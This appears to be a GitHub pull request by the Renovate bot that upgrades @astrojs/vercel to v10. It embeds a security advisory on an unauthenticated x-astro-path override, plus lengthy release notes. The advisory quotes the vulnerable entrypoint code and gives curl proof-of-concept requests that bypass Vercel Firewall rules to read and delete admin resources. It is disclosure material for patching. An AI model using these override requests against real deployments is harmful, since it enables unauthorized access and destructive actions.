Skip to content

chore(deps): update dependency @astrojs/vercel to v10 [security]#385

Open
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-astrojs-vercel-vulnerability
Open

chore(deps): update dependency @astrojs/vercel to v10 [security]#385
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-astrojs-vercel-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate bot commented Mar 31, 2026

This PR contains the following updates:

Package Change Age Confidence
@astrojs/vercel (source) ^8.0.0 → ^10.0.0 age confidence

GitHub Vulnerability Alerts

CVE-2026-33768

Summary

The @astrojs/vercel serverless entrypoint reads the x-astro-path header and x_astro_path query parameter to rewrite the internal request path, with no authentication whatsoever. On deployments without Edge Middleware, this lets anyone bypass Vercel's platform-level path restrictions entirely.

The override preserves the original HTTP method and body, so this isn't limited to GET. POST, PUT, DELETE all land on the rewritten path. A Firewall rule blocking /admin/* does nothing when the request comes in as POST /api/health?x_astro_path=/admin/delete-user.

Affected Versions

Verified against:

  • Astro 5.18.1 + @​astrojs/vercel 9.0.4 — GET and POST override both work. Full exploitation.
  • Astro 6.0.3 + @​astrojs/vercel 10.0.0 — GET override works. POST/DELETE hit a duplex bug in the Request constructor (the duplex: 'half' option is required when passing a ReadableStream body — this has been an issue since Node.js 18 but is consistently enforced in the Node.js 22+ runtime that Astro 6 requires). This is not a security fix — the code explicitly passes body: request.body and intends to preserve it. Once the missing duplex option is added, all methods will be exploitable on v6 as well.

The vulnerable code path is identical across both versions.

Affected Component

  • Package: @astrojs/vercel
  • File: packages/integrations/vercel/src/serverless/entrypoint.ts (lines 19–28)
  • Constants: packages/integrations/vercel/src/index.ts (lines 44–45)

Vulnerable Code

The handler blindly trusts the caller-supplied path:

const realPath =
    request.headers.get(ASTRO_PATH_HEADER) ??
    url.searchParams.get(ASTRO_PATH_PARAM);
if (typeof realPath === 'string') {
    url.pathname = realPath;  // no validation, no auth
    request = new Request(url.toString(), {
        method: request.method,   // preserved
        headers: request.headers, // preserved
        body: request.body,       // preserved
    });
}

What makes this worse is the inconsistency. x-astro-locals right below it is gated behind middlewareSecret, but x-astro-path gets nothing:

// x-astro-locals: protected
if (astroLocalsHeader) {
    if (middlewareSecretHeader !== middlewareSecret) {
        return new Response('Forbidden', { status: 403 });
    }
    locals = JSON.parse(astroLocalsHeader);
}
// x-astro-path: no equivalent check (lines 19-28 above)

Conditions

  1. Astro + @astrojs/vercel adapter
  2. output: 'server' (SSR)
  3. No src/middleware.ts defined, or middleware not using Edge mode

This is a realistic production configuration. Middleware is optional and many deployments skip it.

The x-astro-path mechanism exists for a legitimate purpose: when Edge Middleware is present, it forwards requests to a single serverless function (_render) and uses this header to communicate the original path. The Edge Middleware always overwrites any client-supplied value with the correct one. But when no Edge Middleware is configured, requests hit the serverless function directly, and the override is exposed to external callers with no protection.

Proof of Concept

Setup: minimal Astro SSR project on Vercel, no middleware. Routes: /public (page), /api/health (API endpoint), /admin/secret (page), /admin/delete-user (API endpoint). Vercel Firewall blocks /admin/*.

GET — page content override:

curl "https://target.vercel.app/public?x_astro_path=/admin/secret"

# Returns: PAGE_ID: admin-secret

GET — API route override:

curl "https://target.vercel.app/api/health?x_astro_path=/admin/delete-user"

# Returns: {"pageId":"admin-delete-user","message":"This is a protected admin API endpoint","method":"GET"}

Header override:

curl -H "x-astro-path: /admin/secret" https://target.vercel.app/public

# Returns: PAGE_ID: admin-secret

Vercel Firewall bypass (GET):

# Direct access — blocked
curl https://target.vercel.app/admin/secret

# Returns: Forbidden

# Via override — Firewall sees /public, serves /admin/secret
curl "https://target.vercel.app/public?x_astro_path=/admin/secret"

# Returns: PAGE_ID: admin-secret

Vercel Firewall bypass (POST) — verified on Astro 5.x:

# Direct access — blocked
curl -X POST -H "Content-Type: application/json" -d '{"userId":"123"}' \
  https://target.vercel.app/admin/delete-user

# Returns: Forbidden

# Via override — Firewall sees /api/health, executes POST /admin/delete-user
curl -X POST -H "Content-Type: application/json" -d '{"userId":"123"}' \
  "https://target.vercel.app/api/health?x_astro_path=/admin/delete-user"

# Returns: {"action":"delete-user","status":"deleted","method":"POST"}

The Firewall evaluates the original path. The serverless function serves the overridden path. Method and body carry over.

ISR is not affected. Vercel's cache layer appears to intercept before the function runs.

Impact

Firewall/WAF bypass — read (Critical): Any path-based restriction in Vercel Dashboard or vercel.json (IP blocks, geo restrictions, rate limits scoped to specific paths) can be bypassed for GET requests. Protected page content and API responses are fully readable.

Firewall/WAF bypass — write (Critical): POST/PUT/DELETE requests also bypass Firewall rules. The method and body are preserved through the override, so any write endpoint behind path-based restrictions is reachable. Verified on Astro 5.x; on 6.x this is blocked by an unrelated duplex bug in the Request constructor, not by any security check.

Audit log mismatch (Medium): Vercel logs record the original request path and query string (e.g. /public?x_astro_path=/admin/secret), so the override parameter is technically visible. However, the logged path (/public) does not reflect the path actually served (/admin/secret). Detecting this attack from logs requires knowing what x_astro_path means — standard monitoring and alerting based on request paths will not catch it.

Prior Art

CVE-2025-29927 (Next.js): x-middleware-subrequest header injectable by external clients, bypassing middleware. Same class of vulnerability.

Release Notes

withastro/astro (@​astrojs/vercel)

v10.0.2

Compare Source

Patch Changes
  • #​15959 335a204 Thanks @​matthewp! - Fix Vercel serverless path override handling so override values are only applied when the trusted middleware secret is present.

v10.0.1

Compare Source

Patch Changes

v10.0.0

Compare Source

Major Changes
Minor Changes

  • #​15258 d339a18 Thanks @​ematipico! - Stabilizes the adapter feature experimentalStatiHeaders. If you were using this feature in any of the supported adapters, you'll need to change the name of the flag:

    export default defineConfig({
  adapter: netlify({
-    experimentalStaticHeaders: true
+    staticHeaders: true
  })
})

  • #​15413 736216b Thanks @​florian-lefebvre! - Updates the implementation to use the new Adapter API

  • #​15495 5b99e90 Thanks @​leekeh! - Adds new middlewareMode adapter feature and deprecates edgeMiddleware option

    The edgeMiddleware option is now deprecated and will be removed in a future release, so users should transition to using the new middlewareMode feature as soon as possible.

    export default defineConfig({
  adapter: vercel({
-    edgeMiddleware: true
+    middlewareMode: 'edge'
  })
})

  • #​14946 95c40f7 Thanks @​ematipico! - Removes the experimental.csp flag and replaces it with a new configuration option security.csp - (v6 upgrade guidance)

Patch Changes

  • #​15781 2de969d Thanks @​ematipico! - Adds a new clientAddress option to the createContext() function

    Providing this value gives adapter and middleware authors explicit control over the client IP address. When not provided, accessing clientAddress throws an error consistent with other contexts where it is not set by the adapter.

    Additionally, both of the official Netlify and Vercel adapters have been updated to provide this information in their edge middleware.

    import { createContext } from 'astro/middleware';

createContext({
  clientAddress: context.headers.get('x-real-ip'),
});

  • #​15778 4ebc1e3 Thanks @​ematipico! - Fixes an issue where the computed clientAddress was incorrect in cases of a Request header with multiple values. The clientAddress is now also validated to contain only characters valid in IP addresses, rejecting injection payloads.

  • #​15460 ee7e53f Thanks @​florian-lefebvre! - Updates to use the new Adapter API

  • #​15450 50c9129 Thanks @​florian-lefebvre! - Fixes a case where build.serverEntry would not be respected when using the new Adapter API

  • #​15461 9f21b24 Thanks @​florian-lefebvre! - Updates to new Adapter API introduced in v6

  • #​15125 6feb0d7 Thanks @​florian-lefebvre! - Updates Node versions data to account for v24 as the default

  • Updated dependencies [4ebc1e3, 4e7f3e8, a164c77, cf6ea6b, a18d727, 240c317, 745e632]:

v9.0.5

Compare Source

Patch Changes

v9.0.4

Compare Source

Patch Changes

v9.0.3

Compare Source

Patch Changes

v9.0.2

Compare Source

Patch Changes

v9.0.1

Patch Changes

v9.0.0

Major Changes
Minor Changes

  • #​14543 9b3241d Thanks @​matthewp! - Enables skew protection for Astro sites deployed on Vercel. Skew protection ensures that your site's client and server versions stay synchronized during deployments, preventing issues where users might load assets from a newer deployment while the server is still running the older version.

    Skew protection is automatically enabled on Vercel deployments when the VERCEL_SKEW_PROTECTION_ENABLED environment variable is set to 1. The deployment ID is automatically included in both asset requests and API calls, allowing Vercel to serve the correct version to every user.

v8.2.11

Compare Source

Patch Changes

  • #​14570 c96711d Thanks @​matthewp! - Fix regression in 8.2.7: validate densities-based srcset widths against configured sizes

    When using densities with the Vercel image adapter, calculated widths were not being validated against Vercel's configured sizes list. This caused images to fail when using densities, as Vercel would reject the invalid widths.

    This fix ensures densities-calculated widths are mapped to valid configured sizes, matching the behavior already implemented for the widths prop.

v8.2.10

Compare Source

Patch Changes

v8.2.9

Compare Source

Patch Changes

v8.2.8

Compare Source

Patch Changes

v8.2.7

Compare Source

Patch Changes

v8.2.6

Compare Source

Patch Changes

v8.2.5

Compare Source

Patch Changes

v8.2.4

Compare Source

Patch Changes

v8.2.3

Compare Source

Patch Changes

v8.2.2

Compare Source

Patch Changes
  • #​14063 de5a253 Thanks @​RobbieTheWagner! - Allow setting domains to undefined in imagesConfig so that remotePatterns can be better utilized for images from a variety of domains.

v8.2.1

Compare Source

Patch Changes

  • #​14570 c96711d Thanks @​matthewp! - Fix regression in 8.2.7: validate densities-based srcset widths against configured sizes

    When using densities with the Vercel image adapter, calculated widths were not being validated against Vercel's configured sizes list. This caused images to fail when using densities, as Vercel would reject the invalid widths.

    This fix ensures densities-calculated widths are mapped to valid configured sizes, matching the behavior already implemented for the widths prop.

v8.2.0

Compare Source

Minor Changes

  • #​13965 95ece06 Thanks @​ematipico! - Adds support for the experimental static headers Astro feature.

    When the feature is enabled via option experimentalStaticHeaders, and experimental Content Security Policy is enabled, the adapter will generate Response headers for static pages, which allows support for CSP directives that are not supported inside a <meta> tag (e.g. frame-ancestors).

    import { defineConfig } from 'astro/config';
import vercel from '@&#8203;astrojs/vercel';

export default defineConfig({
  adapter: vercel({
    experimentalStaticHeaders: true,
  }),
  experimental: {
    cps: true,
  },
});
Patch Changes

  • #​13917 e615216 Thanks @​ascorbic! - The responsive images feature introduced behind a flag in v5.0.0 is no longer experimental and is available for general use.

    The new responsive images feature in Astro automatically generates optimized images for different screen sizes and resolutions, and applies the correct attributes to ensure that images are displayed correctly on all devices.

    Enable the image.responsiveStyles option in your Astro config. Then, set a layout attribute on any or component, or configure a default image.layout, for instantly responsive images with automatically generated srcset and sizes attributes based on the image's dimensions and the layout type.

    Displaying images correctly on the web can be challenging, and is one of the most common performance issues seen in sites. This new feature simplifies the most challenging part of the process: serving your site visitor an image optimized for their viewing experience, and for your website's performance.

    For full details, see the updated Image guide.

Migration from Experimental Responsive Images

The experimental.responsiveImages flag has been removed, and all experimental image configuration options have been renamed to their final names.

If you were using the experimental responsive images feature, you'll need to update your configuration:

Remove the experimental flag
export default defineConfig({
   experimental: {
-    responsiveImages: true,
   },
});
Update image configuration options

During the experimental phase, default styles were applied automatically to responsive images. Now, you need to explicitly set the responsiveStyles option to true if you want these styles applied.

export default defineConfig({
  image: {
+    responsiveStyles: true,
  },
});

The experimental image configuration options have been renamed:

Before:

export default defineConfig({
  image: {
    experimentalLayout: 'constrained',
    experimentalObjectFit: 'cover',
    experimentalObjectPosition: 'center',
    experimentalBreakpoints: [640, 750, 828, 1080, 1280],
    experimentalDefaultStyles: true,
  },
  experimental: {
    responsiveImages: true,
  },
});

After:

export default defineConfig({
  image: {
    layout: 'constrained',
    objectFit: 'cover',
    objectPosition: 'center',
    breakpoints: [640, 750, 828, 1080, 1280],
    responsiveStyles: true, // This is now *false* by default
  },
});
Component usage remains the same

The layout, fit, and position props on <Image> and <Picture> components work exactly the same as before:

<Image
  src={myImage}
  alt="A responsive image"
  layout="constrained"
  fit="cover"
  position="center"
/>

If you weren't using the experimental responsive images feature, no changes are required.

Please see the Image guide for more information on using responsive images in Astro.

v8.1.5

Compare Source

Patch Changes

v8.1.4

Compare Source

Patch Changes

v8.1.3

Compare Source

Patch Changes

v8.1.2

Compare Source

Patch Changes

v8.1.1

Compare Source

Patch Changes

v8.1.0

Compare Source

Minor Changes

  • #​13211 7ea0aba Thanks @​slawekkolodziej! - Adds support for regular expressions in ISR exclude list

    Previously, excluding a page from ISR required explicitly listing it in isr.exclude. As websites grew larger, maintaining this list became increasingly difficult, especially for multiple API routes and pages that needed server-side rendering.

    To address this, ISR exclusions now support regular expressions, allowing for more flexible and scalable configurations.

    // astro.config.mjs
import vercel from '@&#8203;astrojs/vercel/serverless';

export default defineConfig({
  output: 'server',
  adapter: vercel({
    isr: {
      exclude: [
        '/preview', // Excludes a specific route (e.g., pages/preview.astro)
        '/auth/[page]', // Excludes a dynamic route (e.g., pages/auth/[page].astro)
        /^\/api\/.+/, // Excludes all routes starting with /api/
      ],
    },
  }),
});
Patch Changes

v8.0.8

Compare Source

Patch Changes

v8.0.7

Patch Changes

v8.0.6

Patch Changes

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@vercel
Copy link
Copy Markdown

vercel bot commented Mar 31, 2026 •
edited
Loading

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated (UTC)
code-snippets Error Error Mar 31, 2026 9:49am

@changeset-bot
Copy link
Copy Markdown

changeset-bot bot commented Mar 31, 2026

⚠️ No Changeset found

Latest commit: fbffe93

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants